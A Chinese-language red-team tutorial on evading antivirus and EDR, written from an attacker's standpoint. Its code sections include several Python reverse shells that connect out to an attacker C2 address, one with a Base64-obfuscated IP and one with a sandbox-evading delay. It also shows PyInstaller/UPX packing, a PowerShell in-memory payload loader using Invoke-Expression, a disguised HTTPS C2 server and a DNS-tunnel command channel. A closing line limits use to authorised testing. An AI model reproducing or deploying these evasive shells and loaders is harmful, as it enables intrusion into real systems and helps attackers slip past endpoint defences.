<pre><code class="language-markdown">## 一、免杀技术:从架构到对抗

在安全对抗的战场上,杀软和EDR(Endpoint Detection and Response)如同防御者的盾牌,而免杀技术则是红队手中的利刃。无论是恶意载荷的投递,还是远控木马的运行,绕过杀软和EDR的检测始终是攻击链中的关键环节。要达成免杀效果,首先必须理解杀软的核心工作机制,以及它们的检测技术架构。

现代杀软的大脑可以分为两部分:静态检测动态分析。静态检测主要依赖特征库匹配,例如文件哈希、签名、字符串模式;而动态分析则更复杂,通过沙箱运行样本、行为监控等技术,判断程序是否具有恶意行为。因此,你的免杀策略需要从这两个方向入手:躲过特征匹配伪装行为逻辑

以下将从攻击者视角出发,逐步拆解免杀技术的“武器库”,并通过实战示例演示如何实现从代码构造到流量伪装的完整攻击链。

---

二、构造免杀的基础:信息收集与分析

要绕过一个目标的杀软或EDR,首先必须搞清楚它的运行逻辑和检测机制。在这里,我会介绍如何利用常见工具对杀软进行信息收集,并构造针对性的免杀策略。

1. 杀软检测模型分析

杀软通常会采用以下几种核心技术检测恶意行为:

  • 签名匹配:对文件特定区域进行扫描,寻找已知恶意代码片段。
  • 启发式分析:使用静态规则检测未知威胁,比如“过长的NOP指令”或“加壳代码”。
  • 行为分析:通过监控进程行为,发现异常,比如调试器检测、内存注入等。

作为攻击者,静态检测需要通过加壳、混淆或修改代码特征来规避,而动态分析则需要伪装真实行为或引入干扰代码。

2. 信息收集:锁定目标环境

要构建针对性免杀工具,首先需要明确目标的防护软件及版本。以下是信息收集的基本流程:

  • 检查杀软版本:通过操作系统“安全中心”或直接检查进程名称,比如 tasklist | findstr &quot;Defender&quot;.
  • 分析杀软规则:部分高级杀软会暴露日志功能,通过日志可以看到它拦截样本的原因,比如行为异常或特定签名触发。
  • 测试样本投递:向目标环境投递一个简单的载荷,观察是否被拦截,例如一个普通的 Meterpreter payload。

以下是一个用于测试目标是否运行 Windows Defender 的 PowerShell片段: </code></pre>powershell

检查 Defender 服务是否运行

Get-Service -Name WinDefend | Select-Object Status <pre><code> ---

三、Payload构造的艺术:静态免杀技术

静态免杀是绕过杀软特征库的一门艺术。它包括但不限于加壳、混淆、编码等技术。接下来,我会通过一个简单的例子展示如何构造免杀的恶意 Payload。

1. 加壳技术

加壳通常用于改变文件的二进制结构,使得杀软无法匹配已知签名。这里我们使用 PyInstaller 将一个普通的 Python恶意代码打包为免杀 EXE。

原始恶意代码:</code></pre>python

import os import socket

建立简单的TCP连接

def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.100", 4444)) # 修改为攻击者的C2地址 os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) import pty pty.spawn("/bin/bash")

reverse_shell() <pre><code>

使用 PyInstaller 加壳:</code></pre>bash

pyinstaller --onefile --noconsole reverse_shell.py <pre><code> 生成的 EXE文件可能会触发杀软的静态检测。要进一步免杀,可以使用 UPX重新压缩:</code></pre>bash upx --best reverse_shell.exe <pre><code>

2. 混淆代码

另一种常见的静态免杀方法是代码混淆,将恶意代码中的关键字符串和行为隐藏起来。例如使用 Base64 编码或加密的方式隐藏 IP地址:

混淆后的代码:</code></pre>python

import os import socket import base64

解码IP和端口

def decode_address(): encoded_ip = b'MTI3LjAuMC4x' # Base64编码后的地址:127.0.0.1 encoded_port = b'NDQ0NA==' # Base64编码后的端口:4444 return base64.b64decode(encoded_ip).decode(), int(base64.b64decode(encoded_port).decode())

建立连接

def reverse_shell(): ip, port = decode_address() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) import pty pty.spawn("/bin/bash")

reverse_shell() <pre><code> 通过混淆,可以隐藏关键特征,同时避免被静态特征库匹配。

---

四、动态免杀:行为伪装与加载技术

在绕过动态分析(如沙箱检测)时,伪装行为和使用内存技术尤为关键。以下是两种常见的动态免杀方式。

1. 延时启动

沙箱通常会在样本启动后的几秒内分析行为,攻击者可以通过延时启动绕过沙箱的时间窗口。以下是一个实现延时启动的示例: </code></pre>python import time import socket

黑客示意图

延时启动,绕过沙箱分析窗口

time.sleep(30)

启动恶意行为

def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.100", 4444)) import pty pty.spawn("/bin/bash")

reverse_shell() <pre><code>

2. 内存加载技术

通过将恶意代码加载到内存中运行,可以避免硬盘落地检测。以下是一个基于 PowerShell 的内存加载示例: </code></pre>powershell

加载恶意代码到内存运行

$payload = "IyBIZWxsbyB3b3JsZCEK" # Base64编码的恶意代码 $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) Invoke-Expression $decoded <pre><code> 这种方法可以有效绕过大部分杀软的文件监控功能。

---

黑客示意图

五、流量伪装与C2对抗

除了载荷的免杀,流量是另一大重点。传统的 Meterpreter 或 Cobalt Strike 的 C2流量容易被杀软标记为恶意。以下是两种常见的流量伪装技术。

1. HTTPS加密流量

通过使用 HTTPS 协议,可以将恶意流量伪装为正常的网页访问流量。结合 Python 的 http.server模块,可以快速搭建一个伪装的C2服务器。

伪装C2代码:</code></pre>python

import http.server import ssl

黑客示意图

server_address = ('', 443) httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='server.pem', keyfile='server.key', ssl_version=ssl.PROTOCOL_TLS) httpd.serve_forever() <pre><code>

2. DNS隧道伪装

通过 DNS隧道技术,将 C2命令嵌入 DNS请求中,可以有效隐藏流量。以下是一个简单的 DNS隧道实现: </code></pre>python import dns.resolver

向伪装域名发送命令

def send_command(command): resolver = dns.resolver.Resolver() resolver.nameservers = ['192.168.1.100'] # 替换为攻击者的 DNS服务器 resolver.query(f"{command}.example.com", 'A')

send_command("download_payload") <pre><code> ---

六、检测与对抗:从免杀到反检测

虽然免杀技术可以绕过杀软和EDR,但防御者也在不断进步。以下是一些常见的检测方法,以及攻击者如何继续优化免杀策略。

1. 防御者的检测技术

  • 内存扫描:通过扫描进程内存,发现可疑代码段。
  • 流量分析:使用 AI模型分析流量中的异常模式。
  • 行为关联:通过事件关联分析恶意行为链。

2. 攻击者的对抗技巧

  • 加密内存对象:使用加密技术保护内存中的恶意代码。
  • 动态域名:使用动态 DNS服务定期更换 C2域名。
  • 行为分布:将恶意行为拆分成多个阶段,降低单次检测概率。

---

七、个人实战经验:免杀是一门对抗艺术

免杀技术不是一成不变的,攻击者和防御者之间的对抗始终在进化。作为红队成员,你必须不断研究杀软的更新机制,同时构造新的免杀策略。例如,针对特定杀软的 XDR功能,可以通过 API Hook技术干扰其检测逻辑。

最后提醒,每一项技术都应严格用于授权的安全测试,切勿非法使用。免杀不是目的,真正的艺术是理解对抗链的每一个环节。</code></pre>